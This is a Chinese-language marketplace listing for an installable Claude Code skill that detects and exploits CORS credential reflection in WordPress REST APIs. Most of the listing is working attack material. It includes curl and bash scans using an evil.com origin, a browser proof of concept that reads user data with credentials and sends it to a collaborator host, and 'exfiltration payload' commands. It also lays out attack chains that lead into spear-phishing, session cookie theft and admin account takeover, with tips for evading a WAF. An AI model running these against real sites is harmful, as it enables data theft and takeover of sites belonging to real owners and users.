mcpField
C
cors-credential-wordpress

cors-credential-wordpress

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 cors-credential-wordpress

用于评估 WordPress REST API 的 CORS 配置是否允许携带凭据跨域访问数据的安全测试技能,涵盖端点检查、浏览器 PoC 和影响验证。

主要功能

  1. 01检查 REST API 端点的 CORS 行为
  2. 02说明 8 种 CORS 配置变体
  3. 03构建浏览器 PoC
  4. 04验证非公开数据是否暴露

适用场景

  1. 01评估 WordPress REST API 的 CORS 问题
  2. 02验证浏览器请求是否暴露私有数据
  3. 03测试多个端点的 CORS 行为

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill cors-credential-wordpress

安装后在 Claude Code 中输入/cors-credential-wordpress确认已加载。

详细介绍

CORS 凭据 WordPress 技能

检测、确认并利用 WordPress REST API 端点上的 CORS 凭据反射。CORS 配置错误是美国中小型企业 WordPress 网站中最常见的严重问题之一(约占所有 WP 目标的 7-8%),可利用受害者 Cookie 跨源窃取数据。本文记录了 8 种 CORS 变体,以及完整的浏览器 PoC 构造方法。

适用场景

  • wp-mass-recon 标记目标存在 Access-Control-Allow-Credentials: true 后。
  • 测试任意 WordPress 网站的 REST API 是否允许跨源访问数据。
  • 构建攻击链:CORS → 用户枚举 → 鱼叉式钓鱼 → ATO。
  • 验证 CORS 问题是否可利用(而非仅确认其存在)。

前提条件

  • curl 和 python3。
  • 用于验证浏览器 PoC 的 web_extract 或 browser_navigate。
  • 目标必须能够访问 WordPress REST API(/wp-json/wp/v2/)。

运行方法

# Quick detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -iE "access-control"

# Full CORS matrix (10 endpoints)
for ep in "users" "posts" "pages" "media" "comments" "categories" "tags" "settings" "plugins" "themes"; do
  echo "=== /wp-json/wp/v2/$ep ==="
  curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/$ep" -H "Origin: https://evil.com" | grep -iE "access-control|http/"
  echo ""
done

快速参考

变体检测方法可利用性
Origin 反射 + 凭据Access-Control-Allow-Credentials: true + 镜像 Origin严重 — 可窃取全部数据
Null originAccess-Control-Allow-Origin: null高 — 可利用沙盒 iframe
无凭据通配符Access-Control-Allow-Origin: *(无凭据)信息级 — 仅限公开数据
带凭据的预检请求OPTIONS 返回 200 + ACAC高 — 若 GET 无需预检
仅认证接口泄露CORS 仅出现在受认证保护的端点上高 — 窃取 Cookie
多 Origin反射多个 Origin严重 — 攻击面更广
插件专用 CORSCORS 仅出现在插件命名空间中中 — 插件数据
仅暂存环境启用 CORS生产环境无 CORS,暂存环境有中 — 取决于能否访问暂存环境

操作步骤

步骤 1 — 检测单个端点
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "User-Agent: Mozilla/5.0" 2>&1

肯定信号:

  • Access-Control-Allow-Origin: https://evil.com(镜像攻击者 Origin)
  • Access-Control-Allow-Credentials: true(跨源发送 Cookie)
  • Access-Control-Allow-Methods: GET(数据窃取途径)
  • 端点本身返回 HTTP 200(数据可访问)
步骤 2 — 多端点 CORS 矩阵
#!/bin/bash
TARGET="$1"
ENDPOINTS=(
  "wp/v2/users"
  "wp/v2/posts"
  "wp/v2/pages"
  "wp/v2/media"
  "wp/v2/comments"
  "wp/v2/categories"
  "wp/v2/tags"
  "wc/v3/products"
  "wc/v3/orders"
  "gf/v2/forms"
  "elementor/v1/globals"
  "revslider/v1/slides"
)

for ep in "${ENDPOINTS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep")
  if [[ "$code" == "200" ]]; then
    cors=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/wp-json/$ep" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
    if [[ -n "$cors" ]]; then
      echo "[CRITICAL] CORS ON: /wp-json/$ep — data accessible cross-origin"
    fi
  fi
done
步骤 3 — 浏览器 PoC(保存为 poc.html)
<script>
fetch("https://TARGET/wp-json/wp/v2/users", {
  credentials: "include",
  headers: { "Origin": "https://evil.com" }
})
.then(r => r.json())
.then(data => {
  fetch("https://YOUR_COLLABORATOR/log?d=" + btoa(JSON.stringify(data)));
});
</script>
步骤 4 — 数据窃取载荷
# Exfiltrate users with emails
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/users?context=edit" \
  -H "Origin: https://evil.com" | python3 -m json.tool | grep -E '"id"|"name"|"slug"|"email"|"roles"'

# Exfiltrate all posts
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wp/v2/posts?per_page=100" \
  -H "Origin: https://evil.com" | python3 -c "
import sys, json
posts = json.load(sys.stdin)
for p in posts:
    print(f\"{p['id']}: {p['title']['rendered']}\")
" 2>/dev/null

# Exfiltrate WooCommerce products
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/wp-json/wc/v3/products" \
  -H "Origin: https://evil.com" | python3 -m json.tool 2>/dev/null | head -50

攻击链

链 A:CORS → 用户枚举 → 鱼叉式钓鱼 → ATO
  1. 利用 CORS 窃取所有用户的姓名和 slug
  2. 向管理员([email protected])撰写鱼叉式钓鱼邮件
  3. 发送指向 CORS 钓鱼页面的链接,以窃取 WP 会话 Cookie
  4. 使用窃取的会话以管理员身份登录 → 完全控制网站
链 B:CORS → Cookie 窃取 → API 访问 → ATO
  1. 受害者登录目标 WP 后访问攻击者页面
  2. 使用 credentials: "include" 的 CORS fetch 请求会发送 WP 身份验证 Cookie
  3. 攻击者重放 Cookie,以受害者身份访问 /wp-admin/
  4. 更改管理员邮箱、重置密码 → 持续访问

注意事项

  • 预检请求被阻止: 某些服务器要求带自定义标头的 CORS 请求先执行 OPTIONS 预检。使用简单 GET(无预检)和带凭据的 fetch(会触发预检)分别测试。
  • SameSite Cookie: 即使配置了 CORS,SameSite=Lax 或 SameSite=Strict Cookie 也不会跨源发送。请在浏览器中检查 Cookie 属性。
  • WAF 干扰: Cloudflare 可能会移除 Origin 标头或阻止跨源请求。请从非 Cloudflare IP 进行测试。
  • 误报:Access-Control-Allow-Origin: * 且不带凭据 — 这只是公开数据,并非漏洞。关键在于 Access-Control-Allow-Credentials: true。

验证

  • curl 命令必须显示 Access-Control-Allow-Credentials: true,且 Access-Control-Allow-Origin 与攻击者的 Origin 匹配(不能是 *)。
  • 浏览器 PoC 必须能够使用凭据从不同源成功获取数据。
  • 窃取的数据必须包含非公开信息(用户、文章、设置等,而不只是公开的 WP 元数据)。

评论

支持 Markdown